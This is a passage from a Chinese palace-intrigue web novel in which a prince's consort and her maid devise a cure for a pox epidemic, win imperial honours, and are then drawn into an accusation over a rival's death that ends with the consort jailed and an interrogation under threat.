“我说不出什么咱们是一家人是姐妹这种虚伪至极的话,只是同住在一个屋檐下,我有能力帮一把的,我总会帮。” “再说……”想到三公子那张胖乎乎的小脸,夏韶宁甚至笑了。 “孩子总是无辜的。” …… 于是乎,随着夏韶宁的一声令下,贤王府上上下下都开始忙碌了起来。 起先府里有孩子的诸如唐侧妃、苏庶妃听说这预防痘疫的汤药是夏韶宁写的方子,根本不愿意给孩子们喝。 可是当听说住在瑞香院的三公子已经发了痘,她们便吓得连夜派人去大厨房取了药,一口不剩地全都喝了进去。 王妃听得碧溪传来的话,当夜就下了死命令:贤王府里的所有人,无论主子还是下人,但凡不听指挥自己乱来的,通通十个杖刑伺候! 那一夜之后,再也没人敢乱说一句话,乱做一件事了。 第一百六十六章 终于研制成功 于是,接下来的几天里,夏韶宁与辛夷便将自己关在琼华院的主屋里,不眠不休地开始研制治疗痘疫的药物。 两人最忙的时候,甚至一天只吃了几口点心,只靠在椅子上眯了半个时辰,便又爬起来开始翻医书,配药试药。 期间好几次连一向脾气最好的蕙心都看不下去了,强行将夏韶宁拖到床上去睡觉。只是夏韶宁每每装睡到蕙心关上门出去以后,便又偷偷从床上爬起来继续研制。 其实说起来,夏韶宁也并不是完全为了三公子才这么拼命去研制这治疗痘疫的药物的,她只要想到金州城还有需要普通的老百姓在等着这药来救命,她就觉得她还要快一点,再快一点。 正因为前世的自己曾是个最普通最底层的老百姓,今世的她才更能理解普通百姓的疾苦,能共情百姓们的心情。 终于,功夫不负有心人,仅仅用了四天,夏韶宁和辛夷便研制出了一个治疗痘疫的药方,这会儿已经熬好了药,放在了王妃的跟前。 “娘娘,这药是妾与辛夷研制出来的,只是还未曾给人试用过,也不知道具体的疗效如何,会不会有副作用。” 这会儿的夏韶宁熬了四天,早就已经是满脸的菜色。只是她看着眼前的药,还是不忘了提醒一下王妃。 “您若是有所顾虑,也可以不给三公子喂这药。妾听闻这几日金州城的疫情也已经控制住了,想来过几日王爷应当也能将太医从宫里请来了……” “我没有顾虑。”还没等夏韶宁将话说完,王妃便抬手直接打断了她未说出口的话。 “这几日你与辛夷姑娘有多辛苦,咱们整个贤王府的主子下人全都看在眼里。也因为你一开始就将这传染的源头给掐断了,这么多天,咱们府里没有一个人染上痘疫。” “你考虑得这么周全,自己又这么辛苦才研制出了这药,我一个什么忙都没有帮上的人,又有什么资格说我有所顾虑呢?” 说到这儿,王妃便将药碗端了起来,又对一旁的白露使了个眼色,白露便将三公子扶着坐了起来。 这会儿的三公子已经不发热了,只是身上的痘还是断断续续地在发,可以说浑身上下连一块好的皮肤都没有。 整个人看起来一点儿精气神都没有。 王妃用勺子舀起了一勺药,仔仔细细吹凉了,语气十分温柔地对着三公子小声道,“驰儿乖,将这药喝了,病就好了。” 三公子虽说如今还未过周岁,但是平日里也被王妃教养得很好。其他孩子若是生病了,非要大人哄着骗着才肯吃药。 可是三公子只是听完了王妃的话,便乖乖将勺子里的药喝了进去。 不一会儿,一碗药便已经见了底。 眼见着三公子将药喝了下去,夏韶宁的心里的石头便也渐渐落了地。 虽然说她刚刚对着王妃说了那么多话,但是只有她和辛夷明白,这幅药方耗费了她们两个多少的精力才研制成功的。 她敢说,这药的疗效一定是最好的。 “三公子喝了药,还得劳烦王妃娘娘时时刻刻看着他,若是他有哪里不舒服,一定要同妾说。” 眼见着三公子喝完了药又迷迷糊糊睡着了,夏韶宁留下了这句话,便带着辛夷离开了。 只是当她走到瑞香院大门口的时候,却被从院子内匆匆赶来的王妃拦了下来。 “你又救了我孩子一次。”此时的王妃,脸色也并没有比夏韶宁好上多少。她有些疲惫地看了夏韶宁一眼,只是如今整个人看起来却显得那样的真诚。 “我今日答应你,若是这一次驰儿能渡过难关,以后你在府中说什么做什么,我都不会干涉你。” “我只求一个贤王正妃的位置,其他的,都随你。” 王妃的这番话,似乎耗费了她所有的精神,这句话说出口之后,夏韶宁便感觉王妃肉眼可见的颓然了下来。 这个样子怎么说呢?就好像一朵本来开得十分茂盛的牡丹,一夜之间就枯萎了下来。 “您不必这样。”夏韶宁转过身,没再看王妃,“我尽心研究这治疗痘疫的药物,也并非完全是为了三公子。只要三公子用了这药有效果,我明日便将这方子交给王爷,让他交给太医院全城推广。” “妾还是那句话,妾什么都不求,只希望在这府里好好活下去。若是王妃非要觉得欠了妾什么,那就先欠着,等妾想到想要什么了,再来向娘娘讨可好?” 夏韶宁这话说得很诚心,王妃倒是也听了进去。 …… 果然,三公子头一天服用了夏韶宁研制的药物以后,第二日身上就没有再发新的痘了。 再服用了三日,浑身上下的痘也变成了暗红色。而三公子本人,精神也一日日的好了起来。 也就是在三公子终于恢复健康的那一天,已经离开家有半月之久的萧祈安,终于带着太医回到了贤王府。 “什么?你说你和辛夷自己研制出了一副药方,驰了吃了你的药,这就好了?” 听完了这整件事情的来龙去脉,萧祈安瞪大了眼睛,满脸都写着难以置信。 而跟在他身后的那两个太医,更是紧紧地盯着眼前这个看起来二十岁都不到的年轻女子,一脸的不相信。 其中一个上了年纪的太医捻了捻花白的胡须,甚至大着胆子对着夏韶宁道,“不知侧妃可否将您说的研制出的药方给下官瞧一瞧?” 夏韶宁当然看出了眼前两个太医脸上写着的不相信,只是她却也不想同他们解释什么。她只是对着辛夷点了点头,辛夷便将手中的方子递给了那个太医。 “妾本想等三公子完全好了再派人将这方子送到王爷那儿去的,没想到王爷今日倒是回府了。”夏韶宁解释道。 而那头的太医接过了辛夷递来的方子,一开始面上还是一副无所谓的态度,只是越往下看,他们的神色却越发严肃了起来。 一开始只是一个太医在看,而后另外一个太医也加入了起来。两个太医一边看着方子,一边讨论了一会儿,大概两刻钟后,他们终于将方子放了下来。 只见刚刚那个花白胡须的太医走到了夏韶宁跟前,不由分说地就对着她行了一个大礼。 “侧妃娘娘的心思可真是巧妙啊,下官怎么也没想过这几味药配在一块儿居然能发挥这么好的疗效!刚刚是下官无礼了,下官给您赔罪了!” “恳请贤王殿下和侧妃娘娘允许下官将这药方带回太医院,稍稍改良一番后大规模地在金州城推广。如此这般,金州城的痘疫便可完全控制住了!” 第一百六十七章 奖赏 随着两位太医将夏韶宁研制的治疗痘疫的方子带回了太医院,又经过太医院众多太医的稍加改良之后,这幅药方便被分发至了金州城各大医馆和药馆。 仅仅过了不到半月,金州城的痘疫就被遏制住了,之前因为发了痘而得不到有效治疗的病患们,服下了这特效药以后也都先后恢复了健康。 显庆帝大喜,下令要重重的奖赏研制这幅药方的人。而太医院的太医们也不敢擅自居功,太医令更是原原本本地这幅药方的来历告诉了圣上。 于是,显庆帝最后才知道原来这幅药方居然出自贤王侧妃和她身边的医女之手。 紫宸殿。 夏韶宁和萧祈安并排站在下首,辛夷则规规矩矩地站在自家主子身后。上首的显庆帝正满脸笑容地看着她们。 “老六啊,你这个侧妃可真是不一般啊!”显庆帝这话虽然是对着萧祈安说的,只是他的目光却一直都在夏韶宁的身上。 “朕记着之前你两次受伤,都是你这侧妃将你救回来的吧?” “父皇好记性,夏氏的确救过儿臣好几次了。”听得父皇夸奖夏韶宁,萧祈安的心里也十分高兴。 “说说吧,你这次立了这么大的功,想要什么奖赏啊?”显庆帝点了点头,随即走到了夏韶宁的面前道,“你尽管提。” 说实话,夏韶宁还真没想过显庆帝会因为这件事情奖励自己。 她当初将那张药方给了宫里来的那两位太医,就没想过这药方还会署她的名。 她本来也就不是冲着名和利去的。 眼见着面前的小女子不说话,显庆帝还以为她是吓着了,于是同夏韶宁说话的语气又放温和了些。 “你不必怕,朕是皇帝,一言九鼎。只要你提的要求不是很过分的,朕都能满足你。” 这会儿的夏韶宁虽然没说话,但是她的大脑却在飞速地转动着。 既然圣上都这么说了,那她也就没必要假谦虚了。可是她到底应该同圣上要什么奖赏呢?一时之间还真叫她犯了难。 她想了好大一会儿,最终还是开口了。 “回陛下的话,妾自入了贤王府后,王爷对妾一直都很好,所以妾如今在贤王府里倒是什么都不缺。” “只是陛下既然开了口,妾若是什么都不要难免会让您觉得妾太虚伪,所以……” 她顿了一会儿,随即便朝着显庆帝端端正正地跪了下去。 “妾想向陛下求一个恩典,在未来的日子里,请陛下能多信任贤王殿下一点,殿下是个好王爷,更是个一心为民的好官员!” 夏韶宁的话音刚落,很明显,眼前的显庆帝和萧祈安都被她的话给惊着了。 特别是萧祈安,他怎么也没想到,这么一个好机会摆在这丫头面前,这丫头不仅什么都没要,反而在父皇面前帮他说好话。 而一旁的显庆帝,听完了夏韶宁这番话以后,难得地陷入了沉思。 老六……的确很好。 “好,既然你这么说了,那朕就答应你。”沉默了一会儿,显庆帝便走到了萧祈安的身边拍了拍他的肩膀,“实在是你已经有了正妃了,不然如此女子,当真配得上堂堂正正地站在你的身边!” “只是朕既然说了要给你一个奖赏,那必定是要给到你自己身上的。” 显庆帝顿了顿,随即转身对着站在一旁的潘德忠喊了一声,“传朕旨意,贤王侧妃夏氏于研制痘疫药方一事上有功,着封其为正五品宜人,享食邑两千户,年俸银两千两,绸缎一百匹,田产一千亩!” “至于你身边的这位医女……”显庆帝抬起头来看了看辛夷,见她虽为奴婢,身上却无一丝怯弱的样子,相反的整个人看起来不亢不卑,进退有度。 “你可否愿意入太医院,成为本朝第一位享月俸的女医官?” 显庆帝一席话落,在场的所有人都惊呆了。 夏韶宁怎么都想不到,显庆帝居然直接大手一挥给了她一个五品诰命!要知道,连她的祖母和母亲,如今身上都还没有诰命呢! 而且最重要的是,显庆帝并不觉得对于辛夷这名女子来说,最好的奖赏是给她指一户高官为妻。他居然问她是否愿意入太医院,成为一名正经的女医官?! 要知道,这可是辛夷这辈子最大的梦想啊! 果然,还没等夏韶宁跪下谢恩,站在她身后的辛夷便红着双眼朝着显庆帝行了一个本朝最大的礼。 她整个人趴在地上,嘴里不住地谢恩道,“奴婢愿意!奴婢谢主隆恩!” 眼见着辛夷已经谢了恩,夏韶宁便也赶忙跪下身来,朗声道,“妾谢圣上隆恩!” “都起来吧,朕多希望咱们大容能多出一些像尔等如此优秀的女子啊!” *** 夏韶宁和萧祈安刚回到贤王府,潘德忠便带着圣旨来府上宣旨了。 萧祈安来不及休息,即刻派人将府里所有的女眷叫到了王府大门口,听潘德忠宣旨。 “奉天承运皇帝,召曰:今有贤王侧妃夏氏,秀外慧中,于研制痘疫药方一事上居功甚伟,着今日起封其为正五品宜人,钦此!” “奉天承运皇帝,召曰:贤王府医女辛夷,通晓医理,蕙质兰心,着今日起封其为正六品太医院女医官,与太医院太医享同等待遇与月俸。三日后前往太医院赴任,钦此!” “妾/微臣领旨!” 潘德忠一口气念完了两份圣旨,而跪在萧祈安身后的其他女人们,每个人的脸上都是一副难以置信的表情。 她们甚至以为自己的耳朵出了毛病,这夏韶宁不过就是带着她身边的那个小医女研制出了一个药方,怎么一个就封了正五品宜人,一个……居然就成了太医院的女医官? “圣上这次可是真的高兴了,要知道,圣上已经许多年都没给皇室的女眷们封过诰命了。”潘德忠将圣旨交给夏韶宁,面上的表情则显得特别恭敬。 “而且辛夷大人更是咱们大容建朝以来第一名女医官,这身份,真的是很高了!” 第一百六十八章 嘱托 直到潘德忠已经离开很久了,后院中的其他女眷们仍站在大门口没有离开。 她们一个个不知道是被吓着了,还是根本就不相信眼前这件事情是真的,人人都呆愣在原地,一声不吭。 眼见着这群女人们也不准备离开,萧祈安便直接开口了。 “夏侧妃这次立了大功,父皇给了她一个五品诰命,所以从今以后,她也就不仅仅是贤王府的一名侧妃了。” “虽说你们都是我的妻妾,平日里见着倒是没必要同外人那般行礼问安,但是你们要知道,她的身份始终是高于你们的。” “王爷,您别这么严肃嘛!”眼见着眼前的女人们因为萧祈安这番话一个个的脸色更加难看了,夏韶宁到底还是开口缓和了一下气氛。 只见她径直走到了王妃面前,仍旧如从前一般规规矩矩地朝着她行了一礼道,“无论妾如今是什么身份,王妃依旧是这贤王府的主母。妾只希望王妃以及各位姐妹从前是怎么对我的,以后照旧就可。” 从潘德忠宣旨开始,王妃的脸色一直都是那般苍白的样子。哪怕如今夏韶宁对她说了这番如此恭敬的话,王妃心中依旧酸涩得可怕。 只是她哪怕心中再酸涩再不服气,面对着如今已身有诰命的夏韶宁,她只能客气地对着她道,“夏妹妹客气了。” 因着萧祈安今日还有公务,所以陪着夏韶宁接完旨以后他便又马不停蹄地回督察院上值去了,夏韶宁便带着仍旧有些晕乎乎的辛夷回了琼华院。 琼华院的婢女们早一刻钟之前也就知道了自家主子和辛夷姐姐的大喜事儿,这会儿见两人回来,更是齐刷刷地对着两人行起了大礼来。 “奴婢恭贺主子得封正五品诰命,恭贺辛夷姐姐的封本朝第一位太医院女医官!” “你们……你们怎么能跪我呢?快起来快起来!”眼见着平日里同自己朝夕相处的好姐妹们居然跪着向自己行礼,辛夷忙上前想将他们一个个拉了起来。 “你现在是有品级的女医官了,她们给你见礼,你受得起。” 夏韶宁轻轻拉住了辛夷的手,示意她稍等一会儿。直到婢女们朝着她行了一个完完整整的礼,夏韶宁才松开了辛夷的手,让她将众人扶了起来。 “奴婢……奴婢真没想到自己还有这么一天!”虽然得知这个消息已经过去差不多一个时辰了,可是说起这件事情,如今的辛夷还是难掩激动的神情,说着说着似乎又要落下泪来。 “记着,从今以后,你在我面前不用称奴婢了。你是女医官,那些太医怎么称呼自己,你就怎么称呼自己。” 夏韶宁拉住了辛夷的手,迎着几个婢女的拥护同其他四人一道进了主屋。 直到将那些闲杂人等赶了出去,辛夷便又不由分说地朝着夏韶宁跪了下来,重重地对着她磕了三个头。 “我能有今天,全靠主子一路提携!辛夷今日只想同主子说一句,不论我以后是谁,在哪里,我永远都与主子站在一处!只要主子有需要,上刀山下火海,辛夷万死不辞!” “哪里就需要你上刀山下火海了。”听得辛夷这般严肃的话,夏韶宁倒是忍不住笑了。 她蹲下身子将辛夷从地上扶起来,语气温和道,“圣上圣旨上让你三日后便进宫赴任,所以今日有些话我便一并在这同你说了。” “你要知道,咱们大容从建朝以来从未出过一名正经的女医官,宫里的那些女医大部分还是在给太医院的太医打下手。” “圣上看重你,亲自下旨让你成了这第一个吃螃蟹的人,这是无尚的荣耀,但是更多的也是对你的考验。” “你入了宫,以后的路必定是不会好走的,或许这条路上会有嘲笑、有困难,甚至于讥讽和谩骂。但是你都不用管,你只要守着你治病救人的初心就够了。” “若是在宫里遇到了解决不了的困难,一定要告诉我,咱们永远都是一家人!” 夏韶宁一边对着辛夷说着这番话,一边死死地握住辛夷的手。 一开始她说话的语气还算得上是平静,只是一想到与自己朝夕相处了两年多的人这就要同自己分开了,坚强如夏韶宁,眼眶还是红了起来。 “我明白了。”辛夷哪里会听不出夏韶宁这句句都在为她考虑的话,只是想到自己就要同主子分开了,心中难免还是有些难过。 “好了,咱们都好好的,以后的日子,总会越来越好的!” 夏韶宁稳了稳情绪,随即将辛夷和其他四个婢女的手紧紧地叠在了一块儿,久久都没有再说话。 …… 三日后,辛夷收拾好了自己所有的家当,还带着夏韶宁偷偷塞给她的三百两银票,穿上太医院的女医官服坐上了去往宫里的马车。 萧祈安今日刚好休沐,便陪着夏韶宁站在府门口目送辛夷离开,一时心里倒是也感慨万千。 “当初你把这丫头从人牙子手里带到身边伺候,可曾想过她能有当上女医官的一天?” 萧祈安瞧着夏韶宁的手,见她一直盯着辛夷马车离开的方向看着,便开口问道。 “我第一眼就知道她是个有本事的,刚好这一次天时地利人和,圣上也是个惜才的,这才叫她脱颖而出了。” 夏韶宁将目光收了回来,转头对着萧祈安回道。 “只是说实话,这张治疗痘疫的方子真的几乎耗尽了我与辛夷全部的心血了。我私心里说一句,圣上给我们两个如此殊荣,我觉得我们当得起。” 萧祈安向来最欣赏的就是夏韶宁这般不过度自满也不虚假谦虚的样子。 她做了好事,任何人给她赏赐,她从来都会好好感谢你,然后欣然接受。 两人正在府门口一边说话一边往里走呢,却不想刚走到前院,就见白露慌慌张张地朝着两人小跑了过来。 “这里是前院,你跑来这里做什么?”见她跑来,萧祈安有些不悦地看了白露一眼,说话的语气便也不太好了。 谁知道听得萧祈安的话,白露连请罪都来不及了,只是直直地就朝着两人跪了下来。 “回王爷的话,我们王妃,晕倒了!” 第一百六十九章 心病难医 王妃这一次的病,来得似乎特别棘手。 自从她三天前忽然在瑞香院的院子里晕倒了以后,她便一直处于一种昏迷不醒的状态。 萧祈安似乎也意识到了王妃这次的病不是小问题,于是特意向圣上请旨将太医令请到了府上给王妃看诊。但是很遗憾的是,太医令用尽了自己毕生所学,也没办法让王妃从昏迷中清醒过来。 瑞香院。 “王爷,请恕微臣无能,王妃娘娘这病,微臣恐怕是治不了了。” 在又一次针灸加上药物治疗丝毫不起作用以后,庄太医令最终还是放弃了。 “可是王妃看起来除了面色苍白了一些,其他的都是正常的,她为何一直醒不过来?” 萧祈安带着夏韶宁站在王妃的床前,面上的表情只觉得疑惑。 “会不会是中毒了?”夏韶宁细细看了看王妃的脸色,回去翻遍了公孙信给她的医书也没找到与王妃症状相对应的病症。她想了很久,最终不得不猜测王妃是否是中毒了。 “微臣日日为王妃把脉,未曾把得王妃体内有毒素存在。”听得夏韶宁的话,庄太医令顿了会儿,忽然看了她一眼,随即有些欲言又止。 “您有什么话直说便是,不必遮遮掩掩。”萧祈安看出了庄太医令的纠结,于是急忙开口道。 “恕微臣直言,王妃这番昏迷不醒,或许并不是身体上的原因。”他顿了一会儿,直接将目光投到了一旁的夏韶宁身上。 “微臣曾询问过王妃娘娘身边的婢女,之前三公子发痘的时候,王妃娘娘日夜衣不解带地照顾他,都未曾见有任何不适的地方。只是当几天前听到潘公公来府上宣旨,圣上亲封夏侧妃为正五品宜人,王妃过了几天忽然就晕倒了,而后便再也没有醒来。” 宫里的太医说话从来都圆滑,今日的庄太医实在怕找不到王妃晕倒的原因贤王殿下会怪罪自己,不然打死他也不会去置喙一个亲王的家事。 庄太医令的话就说到这里了,只是萧祈安和夏韶宁都是聪明人,他们如何不明白庄太医令话里的意思呢? “本王明白了。”想通了其中的关窍,萧祈安便也不再深问了。 他婆娑着大拇指的扳指好一会儿,最终才对着张全和吩咐道,“好生送庄太医令回宫吧!” 张全和得了令,便对着庄太医令做了个请的手势,庄太医令便还是叹了口气离开了。 “刚刚庄太医令的意思,王妃是因为我得封了诰命这才昏迷不醒的?” 眼见着外人都已经离开,夏韶宁说起话来便不再需要避讳了。她转过头来看着萧祈安,满脸都写着难以置信和无可奈何。 “王妃这人,性子要强,为人谨慎,最重礼法。她总觉得无论如何她都是这贤王府的女主人,任何人都不可能也不可以越过她去。” “如今你得了父皇亲封的诰命,在她心里这这件事情甚至比废了她的王妃之位还让她难以接受。她接受不了现实,所以便潜意识的不想让自己醒来,这才彻底昏迷了下去。” 萧祈安瞥了一眼仍旧躺在床上脸色苍白的王妃,终究忍不住重重地叹了一口气。 “可是,我并没有做错什么。”瞧着萧祈安的脸色不好看,此时的夏韶宁的倔脾气也犯了。 “这个诰命是我靠自己的本事得来的,圣上愿意给我,我接受了,我没有对不起任何人。” 夏韶宁自诩这两年多来,对待王妃已经够尊重了。换做别家府里的宠妾,哪有对主母这般好态度的? 更不要说她几次三番地救了王妃和她的儿子。 她夏韶宁对待王妃,已经够仁至义尽了。 “我哪儿就说你做错了?这件事和你又有什么关系?” 看着夏韶宁满脸倔强的样子,萧祈安无奈极了。 他走到夏韶宁面前揉了揉她的脑袋,随即道,“你很好,你比所有女人都要好。她昏迷不醒是她自己的心病,和你没有任何关系。” “既然王妃身体上没有问题,那便让婢女们好好照顾着她吧。我猜想,等到什么时候她能接受这个现实了,应当就能醒过来了。” 萧祈安留下了这句话,又对着碧溪和白露好好的嘱咐了几句话,这便带着夏韶宁离开了。 两人就这样一言不发地回了琼华院。 夏韶宁总觉得心里憋屈,于是便一直坐在一旁不说话。 萧祈安一时之间也不知道该同她说什么,便只得自顾自地坐在一旁看书。 只不过也没等两人这尴尬的气氛持续多久,张全和忽然从外头走了进来。 “王爷,宫里来了个人,说圣上请您同夏侧妃即刻入宫。” 张全和躬了躬身子,随即又靠近了萧祈安一点,压低声音对着他道,“奴才见着那来传话的人脸色不大好,也不知道是不是出什么事儿了。” 张全和这话虽然说的声音小,可是还是被夏韶宁给听着了。 她心中忽然一滞,不知为何忽然就联想到了那杨素灵忽然死了的事情。 于是她瞬间从椅子上站了起来。 萧祈安转头敏锐地察觉到了夏韶宁情绪的变化,于是他走到了她身边,轻轻握住了她的手。 “别怕,一切有我。” 紫宸殿。 离上一次来到这里也才过去了不到一周,可是如今这殿内的氛围却与上一次完全不同。 显庆帝一言不发地坐在上首的龙椅上,面上看不出任何情绪。 而让夏韶宁意外的是,太子和五皇子居然也来了紫宸殿。 太子站在一旁,眼见着萧祈安带着夏韶宁入了殿来,忍不住狠狠地剜了他们一眼。 而另一边的五皇子则站在太子身后,用一种奇怪的眼神死死地盯着夏韶宁和萧祈安。 夏韶宁忽然觉得心中有一种说不出的不太好的预感。 果然,两人刚同显庆帝行了一礼,便听得上首的圣上开口了。 “老六,太子与老五联合上书,说你的侧妃夏氏设计逼迫太常寺卿杨松的二女儿在郊外自杀,可有此事啊?” 第一百七十章 孰是孰非 显庆帝的话音刚落,夏韶宁和萧祈安同时一怔。 两人都没想到,太子居然会用杨素灵自杀的事情作为一个由头告到了显庆帝的面前。 夏韶宁下意识地想要开口,但是却被一旁的萧祈安死死按住了手。 “回父皇的话,儿臣以为这件事情里头有些误会。” 萧祈安对着上首的显庆帝拱了拱手,说话的语气十分谦卑。 “误会?哪里来的误会?”听得萧祈安的话,太子快速地给五皇子使了个眼色,五皇子便立刻站出来反驳起来。 只见他向前跨了一大步,对着显庆帝大声道,“双十节那一日儿臣的妻妹本是准备去宝光寺祈福的,谁知道走到半路被一辆马车拦住了去路。妻妹着急想要先行,却不想有人故意在前头的地上洒满了黄豆!马儿踩到黄豆滑倒,妻妹便从马车上摔了下来!” “五哥这话是什么意思?”听得五皇子一口气说了这许多话,萧祈安的面上依旧是一副云淡风轻的表情。 “六弟莫不是听不懂人话?”看着萧祈安这般样子,五皇子更气了。 “妻妹亲口说的,前头那辆马车的车檐下挂着一只刻着‘贤’字的风铃!这整个金州城,除了你贤王殿下,还有哪家马车敢在车上挂刻着这个字的风铃?!” “行了,都住口!”眼见着萧祈安和五皇子你一言我一语争执了起来,显庆帝终于开口打断了他们。 他转过头来盯着始终一言不发的夏韶宁,平静的语气中带了一丝不可反驳的威严。 “夏宜人,你来说。” 这会儿的显庆帝,没有称呼夏韶宁为夏氏,也没有叫她夏侧妃,而是喊了她一句夏宜人。 夏韶宁瞬间就明白了显庆帝的意思。 如今的她是享受俸禄的诰命夫人,与普通女子完全不同。天子亲自问她问题,如果她胆敢说一句假话,那等待她的下场,可想而知。 此时的她满脑子都想着要如何回答显庆帝的问题,她想了许久,最终还是决定实话实说。 夏韶宁不敢赌一个帝王心中的底线。 “回陛下的话,五皇子说的都是实话。那一日在杨二小姐前头的,的确是妾的马车。那地上的黄豆,也的确是妾让人故意洒的。” 她深深吸了一口气,随即笔直地朝着显庆帝跪了下去。 “杨二小姐一而再再而三的言语欺辱妾娘家小妹,小妹受屈日日躲在家中门都不敢出。妾身为小妹长姐,不忍看到她这般样子,所以私心想着就为小妹出一口气。” “只是妾当时只想着让杨二小姐出个丑,多一句话都没有同杨二小姐说过。所以妾也不明白,这杨二小姐为何好端端的就自杀了。” “父皇你瞧,这女人承认了!”听得夏韶宁的话,五皇子面上明显露出了一丝十分兴奋的神情。 “妻妹是个把名节看得比命还重要的女子,出了如此大的丑,她如何还能在这世上活下去?!都是这个女人,是她害死了妻妹!求父皇严惩这女人和萧祈安,也好给儿臣的岳家一个交代啊!” 显庆帝听着夏韶宁一字一句说着这些话,心中想着倒是同云蝣报来的消息完全一样。看样子,她是真的没有说谎。 “你倒是承认得干脆。”显庆帝并没有接五皇子的话,而是仍旧将目光放在了夏韶宁的身上。 “只是这件事情到底因你而起,死的又是太常寺卿家的女儿,就算你实话实话,朕也不能就全部相信你。” 显庆帝放下了手里的笔,走到了底下那群人的面前。 “潘德忠,将夏宜人暂时收监大理寺,待事情调查清楚以后再做下一步处理吧!” “父皇!事情已经如此清楚了,您还要调查什么?!”听得显庆帝做出的决定,五皇子和太子明显脸色一变,五皇子更是忍不住对着显庆帝大声质问道。 “父皇,这件事尚未查明,大理寺那是关押犯人的地方,您怎么能……” 而这一头的萧祈安,听得显庆帝居然真的要将夏韶宁关进大理寺,这会儿才真的慌了起来。 都怪这突如其来的痘疫打破了他的计划,本来他之前是准备去刑部和大理寺找四哥和夏明博好好调查一下这件事的,只是都被这痘疫打乱了。 “你们俩如今是在质疑朕的决定?” 看着眼前两个儿子的样子,一贯脾气温和的显庆帝,神色忽然变得格外严肃起来。 他那双如鹰一般的眼神在萧祈安和五皇子的身上扫来扫去,五皇子瞬间被惊得出了一身的冷汗。又见站在他身旁的太子不住地朝他摇头,他到底还是闭嘴了。 而夏韶宁见萧祈安皱着眉头仍想要开口争辩,急忙死死拉住了他的手。 只见她对着显庆帝磕了个头,随即朗声道,“妾对陛下的决断没有异议,愿意暂时收监与大理寺!妾也相信陛下是贤君,一定会还妾一个清白!” “您别冲动,我二哥如今也在大理寺任职,我吃不了亏。我等着您救我出去。” 就在夏韶宁被内侍带走的前一秒,路过萧祈安身边的时候,快速小声地对着他耳语了一句。哪怕此刻的萧祈安仍旧心有不甘,他也不敢再同父皇争辩了。 天子决定的事情,从来都是不容置喙的。 …… 夏韶宁两辈子加起来,也从来没来过监狱这种地方。 前世的时候倒是看过一些古言小说,那会儿就总在上头看到大理寺这个地方。她那个时候就总是会想这到底是个什么样的地方呢?这不如今自己也进来了。 夏明博早半个时辰以前就接到了萧祈安传来的消息,说夏韶宁被圣上暂时关进了大理寺。他心中大惊,当时就想要进宫去找圣上理论,到底被长乐公主拉住了。 “你别冲动!父皇这么做一定有他的道理!”长乐公主拉住夏明博,从腰上扯下一个荷包不由分说地塞进了他的手里。 “还好如今你在大理寺任职,你赶快去一趟牢里,拿着这些钱上下好好打点一下,千万别让韶宁姐姐吃亏了!” 第一百七十一章 内有隐情 夏韶宁在大理寺最里面的一间牢房里见到了夏明博。 因着有了夏明博和萧祈安的双重打点,夏韶宁的待遇可比一般的犯人要好太多了。 夏明博隔着牢房的木栏递给了夏韶宁一个大大的包袱,随即压低声音对着她道,“时间太急了,来不及回你府上替你收拾东西。这里头都是我让公主看着帮你置办的,你凑合用。” “这牢房里头的狱卒我都已经打点好了,没有人会为难你,你就在这里好好待着,哥哥一定想办法早日救你出来。” 夏韶宁瞧着眼前那个满脸都写着担忧的哥哥,忽然觉得心里十分熨贴。 “你们不必担心我,我在哪儿都能好好生活下去的。”夏韶宁给了木栏外的夏明博一个安定的眼神,示意他们放心。 “还有一事,若是方便,烦请哥哥替我带句话给王爷。让他不必着急更不必担心我,只管好好查出真相便是,千万别因为着急上了他人的当。” 回想起刚刚在紫宸殿太子和五皇子那般反常的举动,夏韶宁总觉得这件事情肯定没那么简单。 *** 安顿完了夏韶宁,夏明博便带着一直候在牢房外头的长乐公主一道马不停蹄地去了一趟贤王府。 很意外的是,四皇子这会儿也在这里。 当夏明博把夏韶宁要自己带给萧祈安的话说给他听了之后,萧祈安瞬间便陷入了深思。 “四哥和夏大人如何看待这件事儿?”也不知道沉默了多久,萧祈安终于转过身来对着面前的两人出声了。 “我不知道你们是怎么看的,只是我觉得,那杨二是定然不可能自杀的。” 眼见着四哥和自己的驸马都不出声,长乐公主忽然开口了。 “你们都是男子,与那杨二不熟悉很正常。只是我们都是女子,杨二又爱借着五嫂嫂的光总是参与到我们这群女子中的聚会里来,所以我对她还算是熟悉。” “那杨二与她的姐姐是一模一样的性格,整个人最是牙尖嘴利又得理不饶人。若是说她这种人会因为当众摔下马车出了一次丑就去自杀,打死我都不相信!” 长乐公主这话说得十分的斩钉截铁,便也让在场的其他人更是相信了好几分。 “云薇不是说那杨二小姐同五弟妹的关系最好吗?那如今咱们不如从五弟妹那里下手如何?” 细细琢磨了一番长乐公主的话,四皇子忽然就冒出了这样一个想法。 “五哥今日当着父皇的面说了,那杨二小姐是在双十节那日摔下马车当众出了丑。她一个未出嫁的女儿家,受了委屈除了回自己的家里,那就只能是……” 萧祈安顿了顿,随即与其他人对视了一眼,于是大家便异口同声道—— “去五皇子府找她的姐姐!” …… 萧祈安是在金州城最大的青楼红逍坊里找到五皇子府上那个叫牛大力的门房的。 找到他的时候,他正因为喝了花酒却没钱可以付,差点就要被青楼里的龟奴们打断一只手。 萧祈安替他把欠了半年的花酒钱给付了,转头就将他带到了一家隐蔽的茶楼里。 “你们……你们是什么人?”牛大力被眼前几个男人的气场吓着了,这会儿正满脸恐惧地看着萧祈安等人。 “是来救你的好人。”萧祈安对着裴言摆了摆手,裴言一把就将牛大力整个人提了起来。 “诶诶诶……好汉饶命!好汉饶命!你们帮我还了债,那就是我的恩人,既然是恩人,那咱们有话好好说,好好说嘛!” 那牛大力本就长得瘦弱,这会儿被裴言整个人提到了半空中,差点被吓得尿了裤子。 “行啊,你这人倒是还算是上道。”听得牛大力就这般轻易地松了口,萧祈安便又对着裴言使了个眼色,裴言立即将他放了下来。 “双十节的那天晚上,你们五皇子妃的妹妹,有没有去过你们府上找过五皇子妃?” 听得眼前的贵人想要知道的居然是这件事,刚刚还一副知无不言的牛大力,立刻变得犹豫起来。 “你不说?”见那牛大力一脸支支吾吾的样子,萧祈安也没那么多耐心陪他在这里耗着。 他放下手里的扇子,直接转身从裴言的腰间抽出了一把剑,直接对着牛大力的小腿就是一剑! 那牛大力吃痛,瞬间就跪倒在了地上。 “我知道你在犹豫对我说了这件事情会失去五皇子府的这份差事,只是我很明确地告诉你,若是今日我得不到我想要的答案,你以后大概也就没有命能继续在五皇子府上当差了!” 萧祈安这话说得又狠辣又无情,整个人看上去就和立刻要行刑的刽子手般面色可怖。 